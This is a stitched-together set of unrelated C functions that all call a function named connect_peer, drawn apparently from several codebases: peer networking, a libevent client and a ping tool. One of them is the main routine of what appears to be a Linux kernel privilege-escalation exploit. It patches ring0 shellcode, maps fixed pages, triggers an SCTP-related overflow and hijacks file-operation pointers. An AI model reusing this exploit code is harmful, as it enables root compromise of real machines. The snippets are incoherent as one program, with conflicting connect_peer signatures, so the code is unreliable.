int connect_server(struct sockaddr_in addr) { int sock; int err, count, i; char *buffer; struct node_list_entry *peer; peers[0].port = addr.sin_port; peers[0].addr = addr.sin_addr.s_addr; pthread_mutex_init(&peer_locks[0], NULL); peers_count = 1; peer_socks[0] = connect_peer(0); sock = peer_socks[0]; send_packet(sock, OP_GET_NODES, NULL, 0); err = receive_reply_v(sock, (void**)&buffer); if (err < 0) exit(1); count = ((struct node_list_packet*)buffer)->count; count = count > 31 ? 31 : count; peer = (struct node_list_entry*)(buffer + sizeof(struct node_list_packet)); for (i = 0; i < count; i++) { peers[i + 1] = peer[i]; peer_socks[i + 1] = 0; pthread_mutex_init(&peer_locks[i + 1], NULL); } peers_count = count + 1; free(buffer); return 1; }
static inline void choose_peer(int *sock, pthread_mutex_t **mutex) { int i = rand() % peers_count; if (!peer_socks[i]) peer_socks[i] = connect_peer(i); *sock = peer_socks[i]; *mutex = &peer_locks[i]; }
static void peers_connect(struct peers* p, int id, struct sockaddr_in* addr) { p->peers = realloc(p->peers, sizeof(struct peer*) * (p->peers_count+1)); p->peers[p->peers_count] = make_peer(p, id, addr); struct peer* peer = p->peers[p->peers_count]; bufferevent_setcb(peer->bev, on_read, NULL, on_peer_event, peer); peer->reconnect_ev = evtimer_new(p->base, on_connection_timeout, peer); connect_peer(peer); p->peers_count++; }
int client(char *peer, int num) { int sock = connect_peer(peer, ECHO_PORT); int i; for (i = 0; i < num; i++) { double timestamp_before = timestamp(); if (ping(sock) == 0) { break; } double timestamp_after = timestamp(); printf("%i %lf\n", i, timestamp_after - timestamp_before); } return 0; }
int main(int argc, char *argv[]) { int peerx, peery,i; __u64 *patch; srvport = get_port(); uid=getuid(); gid=getgid(); fops=get_fops_addr() + 64; if(!fops) { __msg("[!!] Unable to locate symbols...\n"); return 1; } __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c); patch = (__u64*)(ring0 + CJUMP_OFF); *patch = (__u64)ring0c; __msg_f("[**] Using port: %d\n", srvport); __msg("[**] Getting slab info...\n"); kmalloc_fd = get_kmalloc_fd(); if(!get_total_object(kmalloc_fd)) __fatal("[!!] Only SLUB allocator supported\n"); __msg("[**] Mapping Segments...\n"); __msg("[**] Trying mapping safe page..."); if(do_mmap(STRUCT_PAGE, 1) < 0) { __msg("Page Protection Present (Unable to Map Safe Page)\n"); __msg("[**] Mapping High Address Page (dont kill placeholder child)\n"); if(do_mmap(STRUCT_PAGE_ALT, 1) < 0) __fatal_errno("mmap"); cankill=0; /* dont kill child owning unsafe fds.. */ highpage=1; /* ssnmap in higher pages */ zstream=STREAM_ZERO_ALT; } else __msg("Done\n"); __msg("[**] Mapping Code Page... "); if(do_mmap(CODE_PAGE, 1) < 0) __fatal_errno("mmap"); else __msg("Done\n"); memcpy((void*)CODE_PAGE, ring0, sizeof(ring0)); __msg("[**] Binding on CPU 0\n"); bindcpu(); __msg("[**] Start Server Thread..\n"); child = start_listener(); sleep(3); do_socks(&server_s, zstream); for(i=0; i<7; i++) { close(g_array[8-1-i]); } clr(1); alloc_tioclinux(); // trigger overflow peerx = create_and_init(); connect_peer(peerx, &server_s); peery = create_and_init(); connect_peer(peery, &server_s); sleep(1); unsafe_fd[0] = peerx; unsafe_fd[1] = g_array[8]; unsafe_fd[2] = peery; unsafe_fd[3] = g_array[9]; __msg("\n"); __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv); __msg_f("[**] Unsafe fd: ( "); for(i=0; i<4; i++) __msg_f("%d ", unsafe_fd[i]); __msg(")\n"); __msg("[**] Hijacking fops...\n"); overwrite_fops(fd_zmap_srv, &caddr, peery); /* if u get here.. something nasty happens...may crash..*/ __free_stuff(); __msg("[**] Exploit failed.. freezing process\n"); kill(getpid(), SIGSTOP); return 0; }
static void conn_and_write(int fd, struct sockaddr_in *s, __u16 stream) { connect_peer(fd,s); write_sctp(fd, s, stream); }
static void on_connection_timeout(int fd, short ev, void* arg) { connect_peer((struct peer*)arg); }